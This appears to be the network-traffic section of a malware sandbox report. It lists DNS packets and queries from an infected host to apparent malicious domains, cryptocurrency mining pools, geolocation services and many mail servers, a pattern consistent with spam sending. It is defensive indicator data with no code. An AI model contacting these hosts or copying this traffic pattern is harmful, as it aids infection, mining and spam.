Aug 24, 2021 14:02:21.199172974 CEST	53	63619	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.209177971 CEST	53	64938	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.214019060 CEST	53	61946	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.214843988 CEST	64910	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.216381073 CEST	52123	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.242979050 CEST	53	52123	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.250058889 CEST	53	64910	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.286962032 CEST	56130	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.319235086 CEST	53	56130	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.328504086 CEST	56338	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.356225967 CEST	53	56338	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.364617109 CEST	59420	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.392040968 CEST	53	59420	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.427143097 CEST	58784	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.453355074 CEST	53	58784	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:22.039983988 CEST	63978	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:22.077198982 CEST	53	63978	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:34.971112013 CEST	62938	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:35.006266117 CEST	53	62938	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:10.973406076 CEST	55708	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:11.010552883 CEST	53	55708	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:11.109086037 CEST	56803	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:11.127711058 CEST	57145	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:11.163297892 CEST	53	57145	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:11.187593937 CEST	53	56803	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:11.864650965 CEST	55359	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:11.900378942 CEST	53	55359	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:11.969659090 CEST	58306	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.004698992 CEST	53	58306	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:12.028757095 CEST	64124	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.053445101 CEST	53	64124	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:12.357796907 CEST	49361	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.390068054 CEST	53	49361	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:12.697391987 CEST	63150	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.698153973 CEST	53279	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.722716093 CEST	53	53279	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:12.729926109 CEST	53	63150	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:12.788381100 CEST	56881	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.814606905 CEST	53	56881	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:12.937932014 CEST	53642	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:12.974484921 CEST	53	53642	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:13.180454016 CEST	55667	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:13.207803011 CEST	53	55667	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:13.475384951 CEST	54833	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:13.499842882 CEST	53	54833	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:13.735040903 CEST	62476	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:13.759923935 CEST	53	62476	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:13.986851931 CEST	49705	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:14.014337063 CEST	53	49705	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:14.317327023 CEST	61477	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:14.324011087 CEST	61633	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:14.342231035 CEST	53	61477	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:14.463027000 CEST	53	61633	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:14.521469116 CEST	55949	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:14.602494955 CEST	57601	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:14.634718895 CEST	53	57601	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:14.663727999 CEST	53	55949	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:14.921828032 CEST	49342	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:14.949279070 CEST	53	49342	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.114150047 CEST	56253	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.149812937 CEST	53	56253	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.190608025 CEST	49667	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.215049982 CEST	53	49667	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.308671951 CEST	55439	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.344026089 CEST	53	55439	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.466947079 CEST	57069	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.499362946 CEST	53	57069	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.659779072 CEST	57659	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.692198038 CEST	53	57659	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.803653955 CEST	54717	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.805705070 CEST	63975	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.839370966 CEST	53	63975	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.951365948 CEST	56639	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.961973906 CEST	51856	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:15.970261097 CEST	53	54717	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.983789921 CEST	53	56639	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:15.997133017 CEST	53	51856	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:16.226135969 CEST	56546	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:16.258407116 CEST	53	56546	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:16.374166965 CEST	62152	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:16.508889914 CEST	53	62152	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:16.545145035 CEST	53470	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:16.576179981 CEST	56446	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:16.580528975 CEST	53	53470	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:16.622056007 CEST	53	56446	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:16.664505005 CEST	59631	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:16.691894054 CEST	53	59631	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:17.053071022 CEST	55515	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:17.087502956 CEST	53	55515	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:17.352870941 CEST	64547	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:17.397913933 CEST	53	64547	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:17.775129080 CEST	51759	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:17.860666037 CEST	53	51759	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:18.153383017 CEST	59207	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:18.180489063 CEST	53	59207	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:18.519234896 CEST	54269	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:18.545840979 CEST	53	54269	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:18.673938990 CEST	54856	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:18.694597960 CEST	64140	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:18.706177950 CEST	53	54856	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:18.720844984 CEST	53	64140	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:18.970797062 CEST	62271	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.004441977 CEST	53	62271	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:19.039213896 CEST	57404	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.063941956 CEST	53	57404	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:19.244297981 CEST	62997	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.378184080 CEST	57712	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.470750093 CEST	53	57712	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:19.496129990 CEST	53	62997	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:19.622920990 CEST	60065	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.649862051 CEST	55068	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.674115896 CEST	53	55068	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:19.764157057 CEST	53	60065	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:19.943610907 CEST	64700	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:19.968027115 CEST	53	64700	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:20.246516943 CEST	61998	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:20.271521091 CEST	53	61998	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:20.668297052 CEST	53724	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:20.693360090 CEST	53	53724	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:20.869996071 CEST	52328	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:20.894527912 CEST	53	52328	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:22.125855923 CEST	58051	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:22.161070108 CEST	53	58051	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:22.372560024 CEST	64130	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:22.398401022 CEST	53	64130	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:22.449312925 CEST	50491	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:22.476736069 CEST	53	50491	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:22.881031990 CEST	53004	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:22.914488077 CEST	53	53004	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:23.269098043 CEST	52529	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:23.304003000 CEST	53	52529	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:23.416244030 CEST	53656	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:23.452218056 CEST	53	53656	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:23.943058014 CEST	62724	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:23.967591047 CEST	53	62724	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:24.219141960 CEST	56059	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:24.357340097 CEST	53	56059	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:24.688913107 CEST	63060	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:24.834287882 CEST	53	63060	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:25.362340927 CEST	51498	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:25.395085096 CEST	53	51498	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:27.336148024 CEST	59943	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:27.368413925 CEST	53	59943	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:27.481513023 CEST	50118	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:27.513729095 CEST	53	50118	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:27.525700092 CEST	58357	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:27.553155899 CEST	53	58357	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:27.830177069 CEST	55804	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:27.864061117 CEST	53	55804	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:28.231321096 CEST	58079	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:28.374047995 CEST	53	58079	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:28.521332979 CEST	52080	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:28.558343887 CEST	55238	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:28.585864067 CEST	53	55238	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:28.642431021 CEST	53	52080	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:28.879163027 CEST	49289	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:28.906498909 CEST	53	49289	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:29.175848007 CEST	61034	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:29.208034992 CEST	53	61034	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:29.513139009 CEST	51964	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:29.550322056 CEST	53	51964	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:29.570943117 CEST	58241	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:29.608002901 CEST	53	58241	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:29.861385107 CEST	59571	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:29.886094093 CEST	53	59571	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:30.146805048 CEST	51708	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:30.179213047 CEST	53	51708	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:30.421837091 CEST	60709	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:30.425148010 CEST	63643	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:30.449719906 CEST	53	60709	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:30.450330019 CEST	53	63643	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:30.718617916 CEST	62823	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:30.756372929 CEST	53	62823	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:31.550476074 CEST	63750	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:31.577769995 CEST	53	63750	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:31.841558933 CEST	61959	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:31.846165895 CEST	63554	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:31.876902103 CEST	53	61959	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:31.879962921 CEST	53	63554	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:32.083539009 CEST	57723	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:32.111677885 CEST	53	57723	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:32.911561966 CEST	58663	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:32.935889006 CEST	53	58663	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:33.221209049 CEST	50980	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:33.222285032 CEST	50067	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:33.254606962 CEST	53	50980	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:33.254889011 CEST	53	50067	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:33.535008907 CEST	52992	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:33.570050955 CEST	53	52992	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:34.041465044 CEST	55129	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:34.069931984 CEST	53	55129	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:34.492976904 CEST	60959	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:34.529021978 CEST	53	60959	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:34.724423885 CEST	58319	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:34.752260923 CEST	53	58319	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:34.907253027 CEST	64785	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:34.939830065 CEST	53	64785	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:35.012356997 CEST	50208	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:35.096465111 CEST	62477	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:35.123799086 CEST	53	62477	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:35.134422064 CEST	53	50208	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:35.300437927 CEST	54467	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:35.335258961 CEST	60548	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:35.335673094 CEST	53	54467	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:35.371035099 CEST	53	60548	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:35.383141041 CEST	59623	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:35.408950090 CEST	53	59623	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:35.434920073 CEST	51689	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:35.478077888 CEST	53	51689	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:36.142345905 CEST	64806	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:36.174595118 CEST	53	64806	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:36.293867111 CEST	49686	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:36.328784943 CEST	53	49686	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:36.966566086 CEST	56195	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:36.990842104 CEST	53	56195	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:37.740550041 CEST	62241	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:37.765031099 CEST	53	62241	8.8.8.8	192.168.2.3
Aug 24, 2021 14:03:38.563196898 CEST	50543	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:03:38.590810061 CEST	53	50543	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 24, 2021 14:01:16.514311075 CEST	192.168.2.3	8.8.8.8	0xb78f	Standard query (0)	readinglistforaugust1.xyz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:16.577164888 CEST	192.168.2.3	8.8.8.8	0x4262	Standard query (0)	readinglistforaugust2.xyz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:28.543998003 CEST	192.168.2.3	8.8.8.8	0x9763	Standard query (0)	readinglistforaugust3.xyz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:36.868834019 CEST	192.168.2.3	8.8.8.8	0x1207	Standard query (0)	swretjhwrtj.gq	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:40.337501049 CEST	192.168.2.3	8.8.8.8	0x84f5	Standard query (0)	eduarroma.tumblr.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:02.719260931 CEST	192.168.2.3	8.8.8.8	0xad36	Standard query (0)	readinglistforaugust3.xyz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:09.134340048 CEST	192.168.2.3	8.8.8.8	0xb100	Standard query (0)	defeatwax.ru	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:09.433568954 CEST	192.168.2.3	8.8.8.8	0xcce5	Standard query (0)	readinglistforaugust3.xyz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:11.185208082 CEST	192.168.2.3	8.8.8.8	0xfc3b	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:18.186706066 CEST	192.168.2.3	8.8.8.8	0xa3bb	Standard query (0)	mine.bmpool.org	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.063576937 CEST	192.168.2.3	8.8.8.8	0xc50b	Standard query (0)	canoemail.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.105086088 CEST	192.168.2.3	8.8.8.8	0xbc71	Standard query (0)	mx1.pangia.biz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.110847950 CEST	192.168.2.3	8.8.8.8	0x4ba3	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.141354084 CEST	192.168.2.3	8.8.8.8	0x113f	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.143934965 CEST	192.168.2.3	8.8.8.8	0x2afd	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.171813011 CEST	192.168.2.3	8.8.8.8	0x578b	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.173629045 CEST	192.168.2.3	8.8.8.8	0x31d9	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.178523064 CEST	192.168.2.3	8.8.8.8	0xf3b7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.214843988 CEST	192.168.2.3	8.8.8.8	0xad38	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.216381073 CEST	192.168.2.3	8.8.8.8	0xa26b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.286962032 CEST	192.168.2.3	8.8.8.8	0x4032	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.328504086 CEST	192.168.2.3	8.8.8.8	0x49ba	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.364617109 CEST	192.168.2.3	8.8.8.8	0x829b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.427143097 CEST	192.168.2.3	8.8.8.8	0x7646	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:22.039983988 CEST	192.168.2.3	8.8.8.8	0x3180	Standard query (0)	fastpool.xyz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:34.971112013 CEST	192.168.2.3	8.8.8.8	0xb3c6	Standard query (0)	77.52.17.84.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Aug 24, 2021 14:03:10.973406076 CEST	192.168.2.3	8.8.8.8	0x6eb9	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:11.127711058 CEST	192.168.2.3	8.8.8.8	0xae78	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:11.864650965 CEST	192.168.2.3	8.8.8.8	0x1858	Standard query (0)	yahoo.co.jp	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:11.969659090 CEST	192.168.2.3	8.8.8.8	0xfd86	Standard query (0)	mx1.mail.yahoo.co.jp	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.028757095 CEST	192.168.2.3	8.8.8.8	0x70a9	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.357796907 CEST	192.168.2.3	8.8.8.8	0xe3cc	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.697391987 CEST	192.168.2.3	8.8.8.8	0x46d4	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.698153973 CEST	192.168.2.3	8.8.8.8	0xd5ff	Standard query (0)	email.cz	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:12.788381100 CEST	192.168.2.3	8.8.8.8	0x8520	Standard query (0)	mx1.seznam.cz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.937932014 CEST	192.168.2.3	8.8.8.8	0x7a6f	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.180454016 CEST	192.168.2.3	8.8.8.8	0x7a31	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.475384951 CEST	192.168.2.3	8.8.8.8	0xc3f9	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.735040903 CEST	192.168.2.3	8.8.8.8	0x3443	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.986851931 CEST	192.168.2.3	8.8.8.8	0x9c80	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.317327023 CEST	192.168.2.3	8.8.8.8	0x1d1a	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.324011087 CEST	192.168.2.3	8.8.8.8	0xc247	Standard query (0)	greatlakes.net	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:14.521469116 CEST	192.168.2.3	8.8.8.8	0xab35	Standard query (0)	pmg.airadvantage.net	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.602494955 CEST	192.168.2.3	8.8.8.8	0xba67	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.921828032 CEST	192.168.2.3	8.8.8.8	0x706b	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.114150047 CEST	192.168.2.3	8.8.8.8	0xb9ed	Standard query (0)	telete.in	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.190608025 CEST	192.168.2.3	8.8.8.8	0x63f	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.308671951 CEST	192.168.2.3	8.8.8.8	0x885	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.466947079 CEST	192.168.2.3	8.8.8.8	0x6e82	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.659779072 CEST	192.168.2.3	8.8.8.8	0xe4d0	Standard query (0)	greystar.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:15.803653955 CEST	192.168.2.3	8.8.8.8	0xcb1a	Standard query (0)	mxa-00294d01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.805705070 CEST	192.168.2.3	8.8.8.8	0xb722	Standard query (0)	hotmail.co.uk	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:15.951365948 CEST	192.168.2.3	8.8.8.8	0x44f6	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.961973906 CEST	192.168.2.3	8.8.8.8	0x7867	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.226135969 CEST	192.168.2.3	8.8.8.8	0x548b	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.374166965 CEST	192.168.2.3	8.8.8.8	0xd6fb	Standard query (0)	newlandcommunities.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:16.576179981 CEST	192.168.2.3	8.8.8.8	0xd54f	Standard query (0)	newlandcommunities.com.1.arsmtp.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.664505005 CEST	192.168.2.3	8.8.8.8	0x3480	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.053071022 CEST	192.168.2.3	8.8.8.8	0x5bb4	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.352870941 CEST	192.168.2.3	8.8.8.8	0x44b2	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
